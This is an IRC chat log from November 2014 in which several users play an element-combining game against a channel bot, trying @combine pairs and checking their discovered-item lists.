[2014-11-28T13:19:32-0500] <al-the-bot> fire and steam don't make anything exciting.
[2014-11-28T13:19:34-0500] <@awe> @combine fire cloud
[2014-11-28T13:19:34-0500] <al-the-bot> fire and cloud don't make anything exciting.
[2014-11-28T13:19:35-0500] <@LittleBobbyTables> @combine energy lightning
[2014-11-28T13:19:36-0500] <al-the-bot> energy and lightning don't make anything exciting.
[2014-11-28T13:19:37-0500] <@awe> @combine soil energy
[2014-11-28T13:19:37-0500] <al-the-bot> You just discovered plant (soil + energy)!
[2014-11-28T13:19:40-0500] <@awe> @combine soil tree
[2014-11-28T13:19:40-0500] <al-the-bot> soil and tree don't make anything exciting.
[2014-11-28T13:19:42-0500] <@awe> @list
[2014-11-28T13:19:43-0500] <al-the-bot> You have: plant, fire, soil, energy, tree, rain, air, water, electricity, ent, earth, lightning, steam, cloud
[2014-11-28T13:19:43-0500] <al-the-bot> That's 14 out of 77!
[2014-11-28T13:19:45-0500] <@awe> @combine soil rain
[2014-11-28T13:19:45-0500] <al-the-bot> soil and rain don't make anything exciting.
[2014-11-28T13:19:47-0500] <@awe> @combine soil air
[2014-11-28T13:19:48-0500] <al-the-bot> soil and air don't make anything exciting.
[2014-11-28T13:19:50-0500] <@awe> @combine soil water
[2014-11-28T13:19:50-0500] <al-the-bot> soil and water don't make anything exciting.
[2014-11-28T13:19:50-0500] <alokpathy> @combine plant soil
[2014-11-28T13:19:50-0500] <al-the-bot> plant and soil don't make anything exciting.
[2014-11-28T13:19:53-0500] <@awe> @combine soil electricity
[2014-11-28T13:19:54-0500] <al-the-bot> soil and electricity don't make anything exciting.
[2014-11-28T13:19:55-0500] <@awe> @combine soiil ent
[2014-11-28T13:19:56-0500] <al-the-bot> You don't have soiil!
[2014-11-28T13:19:58-0500] <@awe> @combine soil ent
[2014-11-28T13:19:58-0500] <al-the-bot> soil and ent don't make anything exciting.
[2014-11-28T13:20:01-0500] <@awe> @combine soil earth
[2014-11-28T13:20:01-0500] <al-the-bot> soil and earth don't make anything exciting.
[2014-11-28T13:20:03-0500] <@awe> @combine soil lightning
[2014-11-28T13:20:04-0500] <al-the-bot> soil and lightning don't make anything exciting.
[2014-11-28T13:20:05-0500] <@awe> @combine soil steam
[2014-11-28T13:20:06-0500] <al-the-bot> soil and steam don't make anything exciting.
[2014-11-28T13:20:08-0500] <@awe> @combine soil cloud
[2014-11-28T13:20:09-0500] <al-the-bot> soil and cloud don't make anything exciting.
[2014-11-28T13:20:13-0500] <@awe> @combine energy tree
[2014-11-28T13:20:13-0500] <al-the-bot> You just discovered ent (energy + tree)!
[2014-11-28T13:20:16-0500] <@awe> @combine energy rain
[2014-11-28T13:20:16-0500] <al-the-bot> energy and rain don't make anything exciting.
[2014-11-28T13:20:18-0500] <@awe> @combine energy air
[2014-11-28T13:20:19-0500] <alokpathy> The struggle.
[2014-11-28T13:20:19-0500] <al-the-bot> You just discovered wind (energy + air)!
[2014-11-28T13:20:22-0500] <alokpathy> oh nice
[2014-11-28T13:20:23-0500] <@awe> @combine energy water
[2014-11-28T13:20:23-0500] <al-the-bot> energy and water don't make anything exciting.
[2014-11-28T13:20:27-0500] <@awe> @combine energy electricity
[2014-11-28T13:20:28-0500] <al-the-bot> energy and electricity don't make anything exciting.
[2014-11-28T13:20:30-0500] <alokpathy> @combine wine energy
[2014-11-28T13:20:31-0500] <al-the-bot> You don't have wine!
[2014-11-28T13:20:31-0500] <@awe> @list
[2014-11-28T13:20:31-0500] <al-the-bot> You have: plant, fire, soil, energy, tree, rain, air, water, electricity, ent, wind, earth, lightning, steam, cloud
[2014-11-28T13:20:31-0500] <al-the-bot> That's 15 out of 77!
[2014-11-28T13:20:35-0500] <@awe> @combine wind plant
[2014-11-28T13:20:35-0500] <alokpathy> @combine wind energy
[2014-11-28T13:20:35-0500] <al-the-bot> wind and plant don't make anything exciting.
[2014-11-28T13:20:35-0500] <al-the-bot> wind and energy don't make anything exciting.
[2014-11-28T13:20:37-0500] <@awe> @combine wind fire
[2014-11-28T13:20:37-0500] <al-the-bot> wind and fire don't make anything exciting.
[2014-11-28T13:20:40-0500] <alokpathy> @combine wind air
[2014-11-28T13:20:40-0500] <al-the-bot> wind and air don't make anything exciting.
[2014-11-28T13:20:40-0500] <@awe> @combine wind soil
[2014-11-28T13:20:41-0500] <al-the-bot> You just discovered sandstorm (wind + soil)!
[2014-11-28T13:20:45-0500] <@awe> @combine wind tree
[2014-11-28T13:20:45-0500] <alokpathy> @combine wind sandstorm
[2014-11-28T13:20:45-0500] <al-the-bot> wind and tree don't make anything exciting.
[2014-11-28T13:20:46-0500] <al-the-bot> wind and sandstorm don't make anything exciting.
[2014-11-28T13:20:48-0500] <@awe> @combine wind rain
[2014-11-28T13:20:48-0500] <al-the-bot> wind and rain don't make anything exciting.
[2014-11-28T13:20:51-0500] <@awe> @combine wind water
[2014-11-28T13:20:51-0500] <al-the-bot> You just discovered ice (wind + water)!
[2014-11-28T13:20:52-0500] <alokpathy> @combine wind lightning
[2014-11-28T13:20:52-0500] <al-the-bot> wind and lightning don't make anything exciting.
[2014-11-28T13:20:56-0500] <@awe> @combine wind electricity
[2014-11-28T13:20:56-0500] <@LittleBobbyTables> @combine rain soil
[2014-11-28T13:20:57-0500] <al-the-bot> wind and electricity don't make anything exciting.
[2014-11-28T13:20:57-0500] <al-the-bot> rain and soil don't make anything exciting.
[2014-11-28T13:20:58-0500] <+hardmath123> @list
[2014-11-28T13:20:58-0500] <@awe> @combine wind cloud
[2014-11-28T13:21:00-0500] <al-the-bot> You have: sandstorm, plant, fire, soil, energy, tree, rain, air, water, electricity, ent, wind, earth, lightning, steam, cloud, ice
[2014-11-28T13:21:00-0500] <al-the-bot> That's 17 out of 77!
[2014-11-28T13:21:00-0500] <al-the-bot> wind and cloud don't make anything exciting.
[2014-11-28T13:21:02-0500] <@awe> @combine wind lightning
[2014-11-28T13:21:02-0500] <al-the-bot> wind and lightning don't make anything exciting.
[2014-11-28T13:21:03-0500] <@LittleBobbyTables> Why doesn't rain and soil make anything
[2014-11-28T13:21:06-0500] <alokpathy> @combine ice water
[2014-11-28T13:21:06-0500] <al-the-bot> You just discovered snow (ice + water)!
[2014-11-28T13:21:10-0500] <alokpathy> woo
[2014-11-28T13:21:10-0500] <@awe> @combine snow wind
[2014-11-28T13:21:11-0500] <al-the-bot> snow and wind don't make anything exciting.
[2014-11-28T13:21:13-0500] <@awe> @combine snow cloud
[2014-11-28T13:21:14-0500] <al-the-bot> snow and cloud don't make anything exciting.
[2014-11-28T13:21:14-0500] <alokpathy> @combine snow sandstorm
[2014-11-28T13:21:14-0500] <al-the-bot> snow and sandstorm don't make anything exciting.
[2014-11-28T13:21:17-0500] <@LittleBobbyTables> @combine snow soil
[2014-11-28T13:21:17-0500] <al-the-bot> snow and soil don't make anything exciting.
[2014-11-28T13:21:19-0500] <alokpathy> @combine snow tree
[2014-11-28T13:21:20-0500] <al-the-bot> snow and tree don't make anything exciting.
[2014-11-28T13:21:22-0500] <@LittleBobbyTables> @combine water ent
[2014-11-28T13:21:22-0500] <al-the-bot> water and ent don't make anything exciting.
[2014-11-28T13:21:24-0500] <@awe> @list
[2014-11-28T13:21:24-0500] <al-the-bot> You have: sandstorm, plant, fire, soil, energy, tree, snow, rain, air, water, electricity, ent, wind, earth, lightning, steam, cloud, ice
[2014-11-28T13:21:24-0500] <al-the-bot> That's 18 out of 77!
[2014-11-28T13:21:29-0500] <alokpathy> @combine snow energy
[2014-11-28T13:21:29-0500] <al-the-bot> snow and energy don't make anything exciting.
[2014-11-28T13:21:29-0500] <@awe> @combine ice fire
[2014-11-28T13:21:30-0500] <al-the-bot> ice and fire don't make anything exciting.
[2014-11-28T13:21:32-0500] <@awe> @combine ice energy
[2014-11-28T13:21:32-0500] <alokpathy> @combine snow fire
[2014-11-28T13:21:32-0500] <al-the-bot> snow and fire don't make anything exciting.
[2014-11-28T13:21:33-0500] <al-the-bot> ice and energy don't make anything exciting.
[2014-11-28T13:21:34-0500] <@awe> @combine snow energy
[2014-11-28T13:21:35-0500] <al-the-bot> snow and energy don't make anything exciting.
[2014-11-28T13:21:38-0500] <alokpathy> @combine snow lightning
[2014-11-28T13:21:38-0500] <al-the-bot> snow and lightning don't make anything exciting.
[2014-11-28T13:21:43-0500] <alokpathy> @combine snow ice
[2014-11-28T13:21:44-0500] <al-the-bot> snow and ice don't make anything exciting.
[2014-11-28T13:21:47-0500] <alokpathy> I beg to differ.
[2014-11-28T13:21:49-0500] <@awe> @combine sandstorm water
[2014-11-28T13:21:49-0500] <al-the-bot> sandstorm and water don't make anything exciting.
[2014-11-28T13:21:51-0500] <alokpathy> @combine snow steam
[2014-11-28T13:21:52-0500] <al-the-bot> snow and steam don't make anything exciting.
[2014-11-28T13:21:52-0500] <@awe> @combine sandstorm rain
[2014-11-28T13:21:53-0500] <al-the-bot> sandstorm and rain don't make anything exciting.
[2014-11-28T13:21:56-0500] <alokpathy> @combine snow ent
[2014-11-28T13:21:57-0500] <al-the-bot> snow and ent don't make anything exciting.
[2014-11-28T13:21:59-0500] <@awe> @combine snow earth
[2014-11-28T13:22:00-0500] <al-the-bot> snow and earth don't make anything exciting.
[2014-11-28T13:22:00-0500] <alokpathy> @combine snow earth
[2014-11-28T13:22:00-0500] <al-the-bot> snow and earth don't make anything exciting.
[2014-11-28T13:22:05-0500] <alokpathy> @combine snow plant
[2014-11-28T13:22:05-0500] <al-the-bot> snow and plant don't make anything exciting.
[2014-11-28T13:22:07-0500] <@LittleBobbyTables> @combine earth cloud
[2014-11-28T13:22:07-0500] <al-the-bot> earth and cloud don't make anything exciting.
[2014-11-28T13:22:12-0500] <@LittleBobbyTables> @combine rain cloud
[2014-11-28T13:22:13-0500] <al-the-bot> rain and cloud don't make anything exciting.
[2014-11-28T13:22:15-0500] <alokpathy> @combine sandstorm water
[2014-11-28T13:22:16-0500] <al-the-bot> sandstorm and water don't make anything exciting.
[2014-11-28T13:22:17-0500] <@LittleBobbyTables> Stupid game
[2014-11-28T13:22:19-0500] <alokpathy> @combine sandstorm ent
[2014-11-28T13:22:19-0500] <al-the-bot> sandstorm and ent don't make anything exciting.
[2014-11-28T13:22:29-0500] <alokpathy> @list
[2014-11-28T13:22:29-0500] <al-the-bot> You have: sandstorm, plant, fire, soil, energy, tree, snow, rain, air, water, electricity, ent, wind, earth, lightning, steam, cloud, ice
[2014-11-28T13:22:29-0500] <al-the-bot> That's 18 out of 77!
[2014-11-28T13:22:34-0500] <alokpathy> @combine sandstorm soil
[2014-11-28T13:22:34-0500] <al-the-bot> sandstorm and soil don't make anything exciting.
[2014-11-28T13:22:42-0500] <alokpathy> @combine sandstorm cloud
[2014-11-28T13:22:43-0500] <al-the-bot> sandstorm and cloud don't make anything exciting.
[2014-11-28T13:22:46-0500] <@LittleBobbyTables> @combine electricity ent
[2014-11-28T13:22:47-0500] <al-the-bot> electricity and ent don't make anything exciting.
[2014-11-28T13:22:48-0500] <alokpathy> @combine sandstorm sandstorm
[2014-11-28T13:22:48-0500] <al-the-bot> sandstorm and sandstorm don't make anything exciting.
[2014-11-28T13:22:54-0500] <alokpathy> @combine sandstorm plant
[2014-11-28T13:22:55-0500] <al-the-bot> sandstorm and plant don't make anything exciting.
[2014-11-28T13:22:58-0500] <alokpathy> @combine sandstorm fire
[2014-11-28T13:22:58-0500] <al-the-bot> sandstorm and fire don't make anything exciting.
[2014-11-28T13:23:00-0500] <alokpathy> @combine sandstorm soil
[2014-11-28T13:23:01-0500] <al-the-bot> sandstorm and soil don't make anything exciting.
[2014-11-28T13:23:04-0500] <alokpathy> @combine sandstorm energy
[2014-11-28T13:23:04-0500] <al-the-bot> sandstorm and energy don't make anything exciting.
[2014-11-28T13:23:09-0500] <alokpathy> @combine sandstorm tree
[2014-11-28T13:23:09-0500] <al-the-bot> sandstorm and tree don't make anything exciting.
[2014-11-28T13:23:11-0500] <alokpathy> @combine sandstorm snow
[2014-11-28T13:23:11-0500] <al-the-bot> sandstorm and snow don't make anything exciting.
[2014-11-28T13:23:15-0500] <alokpathy> @combine sandstorm rain
[2014-11-28T13:23:16-0500] <al-the-bot> sandstorm and rain don't make anything exciting.
[2014-11-28T13:23:17-0500] <alokpathy> @combine sandstorm air
[2014-11-28T13:23:18-0500] <al-the-bot> sandstorm and air don't make anything exciting.
[2014-11-28T13:23:21-0500] <alokpathy> @combine sandstorm water
[2014-11-28T13:23:21-0500] <al-the-bot> sandstorm and water don't make anything exciting.
[2014-11-28T13:23:25-0500] <alokpathy> @combine sandstorm electricity
[2014-11-28T13:23:26-0500] <al-the-bot> sandstorm and electricity don't make anything exciting.
[2014-11-28T13:23:30-0500] <alokpathy> @combine sandstorm ent
[2014-11-28T13:23:30-0500] <al-the-bot> sandstorm and ent don't make anything exciting.
[2014-11-28T13:23:33-0500] <alokpathy> @combine sandstormwind
[2014-11-28T13:23:35-0500] <alokpathy> @combine sandstorm wind
[2014-11-28T13:23:36-0500] <al-the-bot> sandstorm and wind don't make anything exciting.
[2014-11-28T13:23:40-0500] <alokpathy> @combine sandstorm earth
[2014-11-28T13:23:40-0500] <al-the-bot> sandstorm and earth don't make anything exciting.
[2014-11-28T13:23:46-0500] <alokpathy> @combine sandstorm lightning
[2014-11-28T13:23:47-0500] <al-the-bot> sandstorm and lightning don't make anything exciting.
[2014-11-28T13:23:55-0500] <alokpathy> @combine sandstorm steam
[2014-11-28T13:23:55-0500] <al-the-bot> sandstorm and steam don't make anything exciting.
[2014-11-28T13:23:57-0500] <alokpathy> @combine sandstorm cloud
[2014-11-28T13:23:58-0500] <al-the-bot> sandstorm and cloud don't make anything exciting.
[2014-11-28T13:24:00-0500] <alokpathy> @combine sandstorm ice
[2014-11-28T13:24:00-0500] <al-the-bot> sandstorm and ice don't make anything exciting.
[2014-11-28T13:24:02-0500] <alokpathy> darn
[2014-11-28T13:24:07-0500] <alokpathy> so much for sandstorm
[2014-11-28T13:24:10-0500] <alokpathy> @combine ent ent
[2014-11-28T13:24:11-0500] <al-the-bot> ent and ent don't make anything exciting.
[2014-11-28T13:24:15-0500] <alokpathy> @combine fire fire
[2014-11-28T13:24:16-0500] <al-the-bot> You just discovered energy (fire + fire)!
[2014-11-28T13:24:22-0500] <alokpathy> @combine energy energy
[2014-11-28T13:24:23-0500] <al-the-bot> You just discovered light (energy + energy)!
[2014-11-28T13:24:26-0500] <alokpathy> woo
[2014-11-28T13:24:28-0500] <@awe> @combine
[2014-11-28T13:24:29-0500] <@awe> @list
[2014-11-28T13:24:29-0500] <+hardmath123> @list
[2014-11-28T13:24:30-0500] <al-the-bot> You have: sandstorm, plant, fire, soil, energy, tree, snow, rain, air, water, electricity, ent, wind, light, earth, lightning, steam, cloud, ice
[2014-11-28T13:24:30-0500] <al-the-bot> That's 19 out of 77!
[2014-11-28T13:24:30-0500] <al-the-bot> You have: sandstorm, plant, fire, soil, energy, tree, snow, rain, air, water, electricity, ent, wind, light, earth, lightning, steam, cloud, ice
[2014-11-28T13:24:30-0500] <al-the-bot> That's 19 out of 77!
[2014-11-28T13:24:31-0500] <alokpathy> @combine light light
[2014-11-28T13:24:32-0500] <al-the-bot> You just discovered sentience (light + light)!
[2014-11-28T13:24:35-0500] <@awe> @combine sentience sentience
[2014-11-28T13:24:36-0500] <al-the-bot> sentience and sentience don't make anything exciting.
[2014-11-28T13:24:38-0500] <@awe> @combine sentience ent
[2014-11-28T13:24:39-0500] <al-the-bot> sentience and ent don't make anything exciting.
[2014-11-28T13:24:41-0500] <@awe> @combine sentience plant
[2014-11-28T13:24:41-0500] <al-the-bot> sentience and plant don't make anything exciting.
[2014-11-28T13:24:43-0500] <@awe> @combine sentience snow
[2014-11-28T13:24:43-0500] <al-the-bot> You just discovered penguin (sentience + snow)!
[2014-11-28T13:24:49-0500] <@awe> @combine penguin energy
[2014-11-28T13:24:49-0500] <alokpathy> LOL
[2014-11-28T13:24:50-0500] <al-the-bot> penguin and energy don't make anything exciting.
[2014-11-28T13:24:54-0500] <+hardmath123> ... i don't even remember putting that in
[2014-11-28T13:24:55-0500] <@awe> @combine sentience wind
[2014-11-28T13:24:55-0500] <al-the-bot> sentience and wind don't make anything exciting.
[2014-11-28T13:24:57-0500] <alokpathy> @combine penguin fire
[2014-11-28T13:24:57-0500] <al-the-bot> penguin and fire don't make anything exciting.
[2014-11-28T13:25:03-0500] <alokpathy> @combine sentience fire
[2014-11-28T13:25:03-0500] <al-the-bot> sentience and fire don't make anything exciting.
[2014-11-28T13:25:07-0500] <alokpathy> @combine sentience sandstorm
[2014-11-28T13:25:07-0500] <al-the-bot> sentience and sandstorm don't make anything exciting.
[2014-11-28T13:25:11-0500] <@awe> @combine sentience steam
[2014-11-28T13:25:11-0500] <al-the-bot> sentience and steam don't make anything exciting.
[2014-11-28T13:25:12-0500] <alokpathy> @combine sentience plant
[2014-11-28T13:25:13-0500] <al-the-bot> sentience and plant don't make anything exciting.
[2014-11-28T13:25:15-0500] <@awe> @combine sentience ice
[2014-11-28T13:25:15-0500] <al-the-bot> sentience and ice don't make anything exciting.
[2014-11-28T13:25:18-0500] <alokpathy> @combine sentience cloud
[2014-11-28T13:25:18-0500] <al-the-bot> sentience and cloud don't make anything exciting.
[2014-11-28T13:25:19-0500] <@awe> @combine sentience cloud
[2014-11-28T13:25:19-0500] <al-the-bot> sentience and cloud don't make anything exciting.
[2014-11-28T13:25:22-0500] <alokpathy> @combine sentience earth
[2014-11-28T13:25:23-0500] <al-the-bot> You just discovered man (sentience + earth)!
[2014-11-28T13:25:26-0500] <alokpathy> woo
[2014-11-28T13:25:29-0500] <@awe> @combine man fire
[2014-11-28T13:25:29-0500] <al-the-bot> man and fire don't make anything exciting.
[2014-11-28T13:25:31-0500] <alokpathy> @combine man snow
[2014-11-28T13:25:31-0500] <al-the-bot> You just discovered snowman (man + snow)!
[2014-11-28T13:25:32-0500] <@awe> @list
[2014-11-28T13:25:33-0500] <al-the-bot> You have: snowman, soil, energy, earth, lightning, cloud, sentience, electricity, snow, ice, ent, man, plant, fire, rain, water, penguin, light, tree, air, sandstorm, steam, wind
[2014-11-28T13:25:33-0500] <al-the-bot> That's 23 out of 77!
[2014-11-28T13:25:36-0500] <@awe> @combine man lightning
[2014-11-28T13:25:36-0500] <al-the-bot> man and lightning don't make anything exciting.
[2014-11-28T13:25:38-0500] <alokpathy> @combine snowman penguin
[2014-11-28T13:25:38-0500] <al-the-bot> snowman and penguin don't make anything exciting.
[2014-11-28T13:25:39-0500] <@awe> @combine man ice
[2014-11-28T13:25:39-0500] <al-the-bot> man and ice don't make anything exciting.
[2014-11-28T13:25:43-0500] <alokpathy> @combine snowman fire
[2014-11-28T13:25:43-0500] <@awe> @combine man light
[2014-11-28T13:25:43-0500] <al-the-bot> snowman and fire don't make anything exciting.
[2014-11-28T13:25:44-0500] <al-the-bot> man and light don't make anything exciting.
[2014-11-28T13:25:47-0500] <alokpathy> @combine snowman light
[2014-11-28T13:25:47-0500] <al-the-bot> snowman and light don't make anything exciting.
[2014-11-28T13:25:50-0500] al-the-bot (al-the-bot@pdgn-hq3.r2o.sr9d83.IP) left the channel ("So long, and thanks for all the fish.")
[2014-11-28T13:25:51-0500] <@awe> @combine light cloud
[2014-11-28T13:25:52-0500] al-the-bot (al-the-bot@pdgn-hq3.r2o.sr9d83.IP) joined the channel
[2014-11-28T13:25:53-0500] <+hardmath123> noooo
[2014-11-28T13:25:57-0500] <@awe> @combine light cloud
[2014-11-28T13:25:57-0500] <alokpathy> NOOOOO
[2014-11-28T13:25:57-0500] <al-the-bot> light and cloud don't make anything exciting.
[2014-11-28T13:25:57-0500] <+hardmath123> @list
[2014-11-28T13:25:57-0500] <al-the-bot> You have: snowman, soil, energy, earth, air, cloud, sentience, electricity, snow, ice, ent, man, plant, fire, rain, water, penguin, light, tree, lightning, sandstorm, steam, wind
[2014-11-28T13:25:57-0500] <al-the-bot> That's 23 out of 81!
[2014-11-28T13:26:04-0500] <alokpathy> @combine snowman tree
[2014-11-28T13:26:05-0500] <al-the-bot> snowman and tree don't make anything exciting.
[2014-11-28T13:26:09-0500] <@awe> @combine sentience snowman
[2014-11-28T13:26:09-0500] <al-the-bot> You just discovered olaf (sentience + snowman)!
[2014-11-28T13:26:13-0500] <alokpathy> lolwtf
[2014-11-28T13:26:14-0500] <@awe> @combine olaf fire
[2014-11-28T13:26:15-0500] <al-the-bot> olaf and fire don't make anything exciting.
[2014-11-28T13:26:17-0500] <@awe> @combine olaf energy
[2014-11-28T13:26:18-0500] <al-the-bot> olaf and energy don't make anything exciting.
[2014-11-28T13:26:19-0500] <@awe> @combine olaf ice
[2014-11-28T13:26:20-0500] <al-the-bot> olaf and ice don't make anything exciting.
[2014-11-28T13:26:21-0500] <alokpathy> @combine olaf  soil
[2014-11-28T13:26:26-0500] <alokpathy> @combine olaf soil
[2014-11-28T13:26:26-0500] <al-the-bot> olaf and soil don't make anything exciting.
[2014-11-28T13:26:28-0500] <@awe> @combine sentience penguin
[2014-11-28T13:26:29-0500] <al-the-bot> sentience and penguin don't make anything exciting.
[2014-11-28T13:26:34-0500] <alokpathy> @combine sentience man
[2014-11-28T13:26:35-0500] <al-the-bot> You just discovered evil (sentience + man)!
[2014-11-28T13:26:38-0500] <@awe> @combine evil penguin
[2014-11-28T13:26:39-0500] <al-the-bot> evil and penguin don't make anything exciting.
[2014-11-28T13:26:41-0500] al-the-bot (al-the-bot@pdgn-hq3.r2o.sr9d83.IP) left the channel ("So long, and thanks for all the fish.")
[2014-11-28T13:26:42-0500] <+hardmath123> @list
[2014-11-28T13:26:42-0500] <@awe> @combine evil light
[2014-11-28T13:26:47-0500] <@awe> .-.
[2014-11-28T13:26:47-0500] al-the-bot (al-the-bot@pdgn-hq3.r2o.sr9d83.IP) joined the channel
[2014-11-28T13:26:52-0500] <alokpathy> @combine sentience sandstorm
[2014-11-28T13:26:52-0500] <al-the-bot> sentience and sandstorm don't make anything exciting.
[2014-11-28T13:26:53-0500] <+hardmath123> @combine olaf fire
[2014-11-28T13:26:53-0500] <al-the-bot> You just discovered puddle (olaf + fire)!
[2014-11-28T13:26:58-0500] <+hardmath123> irresistible
[2014-11-28T13:27:04-0500] <alokpathy> @combine puddle snowman
[2014-11-28T13:27:04-0500] <al-the-bot> puddle and snowman don't make anything exciting.
[2014-11-28T13:27:12-0500] <alokpathy> @combine evil snowman
[2014-11-28T13:27:12-0500] <al-the-bot> evil and snowman don't make anything exciting.
[2014-11-28T13:27:16-0500] <alokpathy> @combine evil penguin
[2014-11-28T13:27:16-0500] <al-the-bot> evil and penguin don't make anything exciting.
[2014-11-28T13:27:18-0500] <alokpathy> @list
[2014-11-28T13:27:18-0500] <al-the-bot> You have: snowman, soil, energy, earth, lightning, cloud, sentience, electricity, snow, ice, ent, man, puddle, plant, fire, rain, water, evil, penguin, olaf, light, tree, air, sandstorm, steam, wind
[2014-11-28T13:27:18-0500] <al-the-bot> That's 26 out of 82!
[2014-11-28T13:27:24-0500] <alokpathy> 82?
[2014-11-28T13:27:37-0500] <alokpathy> @combine sentience wind
[2014-11-28T13:27:38-0500] <al-the-bot> sentience and wind don't make anything exciting.
[2014-11-28T13:27:41-0500] <alokpathy> @combine sentience energy
[2014-11-28T13:27:42-0500] <al-the-bot> sentience and energy don't make anything exciting.
[2014-11-28T13:27:48-0500] <alokpathy> @combine sentience evil
[2014-11-28T13:27:48-0500] <al-the-bot> sentience and evil don't make anything exciting.
[2014-11-28T13:27:51-0500] <alokpathy> @combine sentience sentience
[2014-11-28T13:27:51-0500] <al-the-bot> sentience and sentience don't make anything exciting.
[2014-11-28T13:27:57-0500] <alokpathy> @combine penguin penguin
[2014-11-28T13:27:57-0500] <al-the-bot> penguin and penguin don't make anything exciting.
[2014-11-28T13:27:59-0500] <@awe> @combine evil evil
[2014-11-28T13:28:00-0500] <al-the-bot> evil and evil don't make anything exciting.
[2014-11-28T13:28:02-0500] <@awe> @combine evil man
[2014-11-28T13:28:03-0500] <al-the-bot> evil and man don't make anything exciting.
[2014-11-28T13:28:03-0500] <alokpathy> @combine man man
[2014-11-28T13:28:03-0500] <al-the-bot> man and man don't make anything exciting.
[2014-11-28T13:28:08-0500] <@awe> @combine evil energy
[2014-11-28T13:28:08-0500] <al-the-bot> evil and energy don't make anything exciting.
[2014-11-28T13:28:10-0500] <alokpathy> @combine snow snow
[2014-11-28T13:28:10-0500] <al-the-bot> snow and snow don't make anything exciting.
[2014-11-28T13:28:11-0500] <@awe> @combine evil sentience
[2014-11-28T13:28:12-0500] <al-the-bot> evil and sentience don't make anything exciting.
[2014-11-28T13:28:15-0500] <+jwoglom> @combine magic and wow
[2014-11-28T13:28:18-0500] <alokpathy> @combine sentience earth
[2014-11-28T13:28:19-0500] <al-the-bot> You just discovered man (sentience + earth)!
[2014-11-28T13:28:25-0500] <alokpathy> @combine sentience wind
[2014-11-28T13:28:25-0500] <al-the-bot> sentience and wind don't make anything exciting.
[2014-11-28T13:28:28-0500] <@awe> @combine penguin steam
[2014-11-28T13:28:29-0500] <al-the-bot> penguin and steam don't make anything exciting.
[2014-11-28T13:28:30-0500] <alokpathy> @combine evil steam
[2014-11-28T13:28:31-0500] <al-the-bot> evil and steam don't make anything exciting.
[2014-11-28T13:28:35-0500] <alokpathy> @combine sentience steam
[2014-11-28T13:28:37-0500] <al-the-bot> sentience and steam don't make anything exciting.
[2014-11-28T13:28:42-0500] <alokpathy> @combine olaf steam
[2014-11-28T13:28:42-0500] <al-the-bot> olaf and steam don't make anything exciting.
[2014-11-28T13:28:58-0500] <alokpathy> @combine earth evil
[2014-11-28T13:28:58-0500] <al-the-bot> earth and evil don't make anything exciting.
[2014-11-28T13:29:03-0500] <alokpathy> @combine evil evil
[2014-11-28T13:29:03-0500] <al-the-bot> evil and evil don't make anything exciting.
[2014-11-28T13:29:07-0500] <alokpathy> @combine evil tree
[2014-11-28T13:29:07-0500] <al-the-bot> evil and tree don't make anything exciting.
[2014-11-28T13:29:08-0500] <@awe> so many bots.
[2014-11-28T13:29:10-0500] <alokpathy> @combine evil snowman
[2014-11-28T13:29:11-0500] <al-the-bot> evil and snowman don't make anything exciting.
[2014-11-28T13:29:15-0500] <alokpathy> @list
[2014-11-28T13:29:15-0500] <al-the-bot> You have: snowman, soil, energy, earth, lightning, cloud, sentience, electricity, snow, ice, ent, man, puddle, plant, fire, rain, water, evil, penguin, olaf, light, tree, air, sandstorm, steam, wind
[2014-11-28T13:29:15-0500] <al-the-bot> That's 26 out of 82!
[2014-11-28T13:29:24-0500] <alokpathy> @combine sentience lightning
[2014-11-28T13:29:24-0500] <al-the-bot> sentience and lightning don't make anything exciting.
[2014-11-28T13:29:28-0500] <alokpathy> @combine sentience ent
[2014-11-28T13:29:28-0500] <al-the-bot> sentience and ent don't make anything exciting.
[2014-11-28T13:29:38-0500] <alokpathy> @combine penguin electricity
[2014-11-28T13:29:38-0500] <al-the-bot> penguin and electricity don't make anything exciting.
[2014-11-28T13:29:43-0500] <alokpathy> @combine penguin ice
[2014-11-28T13:29:43-0500] <al-the-bot> penguin and ice don't make anything exciting.
[2014-11-28T13:29:44-0500] <+hardmath123> awe: i'm waiting for someone to write a bot to bruteforce Al.
[2014-11-28T13:29:47-0500] <alokpathy> @combine penguin snow
[2014-11-28T13:29:48-0500] <al-the-bot> penguin and snow don't make anything exciting.
[2014-11-28T13:29:53-0500] <@awe> hardmath123: Wouldm
[2014-11-28T13:29:53-0500] <alokpathy> @combine penguin evil
[2014-11-28T13:29:53-0500] <al-the-bot> penguin and evil don't make anything exciting.
[2014-11-28T13:29:56-0500] <@awe> hardmath123: Wouldn't be hard*
[2014-11-28T13:30:00-0500] <@awe> hardmath123: Would be very spammy though.
[2014-11-28T13:30:01-0500] <alokpathy> @combine penguin clou
[2014-11-28T13:30:01-0500] <al-the-bot> You don't have clou!
[2014-11-28T13:30:02-0500] <alokpathy> @combine penguin cloud
[2014-11-28T13:30:03-0500] <al-the-bot> penguin and cloud don't make anything exciting.
[2014-11-28T13:30:09-0500] <alokpathy> @combine penguin wind
[2014-11-28T13:30:10-0500] <al-the-bot> penguin and wind don't make anything exciting.
[2014-11-28T13:30:10-0500] <+hardmath123> awe: yeah, please don't
[2014-11-28T13:30:12-0500] <alokpathy> @combine penguin soil
[2014-11-28T13:30:12-0500] <al-the-bot> penguin and soil don't make anything exciting.
[2014-11-28T13:30:17-0500] <alokpathy> @combine penguin earth
[2014-11-28T13:30:17-0500] <al-the-bot> penguin and earth don't make anything exciting.
[2014-11-28T13:30:19-0500] <alokpathy> This game is hard.
[2014-11-28T13:30:32-0500] <+hardmath123> @list
[2014-11-28T13:30:33-0500] <al-the-bot> You have: snowman, soil, energy, earth, lightning, cloud, sentience, electricity, snow, ice, ent, man, puddle, plant, fire, rain, water, evil, penguin, olaf, light, tree, air, sandstorm, steam, wind
[2014-11-28T13:30:33-0500] <al-the-bot> That's 26 out of 82!
[2014-11-28T13:30:57-0500] <@LittleBobbyTables> @combine snowman fire
[2014-11-28T13:30:58-0500] <al-the-bot> snowman and fire don't make anything exciting.
[2014-11-28T13:31:06-0500] <@LittleBobbyTables> wtf is olaf
[2014-11-28T13:31:06-0500] <alokpathy> @combine fire penguin
[2014-11-28T13:31:06-0500] <al-the-bot> fire and penguin don't make anything exciting.
[2014-11-28T13:31:10-0500] <alokpathy> @combine fire wind
[2014-11-28T13:31:10-0500] <al-the-bot> fire and wind don't make anything exciting.
[2014-11-28T13:31:15-0500] <alokpathy> @combine fire sentience
[2014-11-28T13:31:15-0500] <al-the-bot> fire and sentience don't make anything exciting.
[2014-11-28T13:31:26-0500] <alokpathy> @combine evil wind
[2014-11-28T13:31:27-0500] <al-the-bot> evil and wind don't make anything exciting.
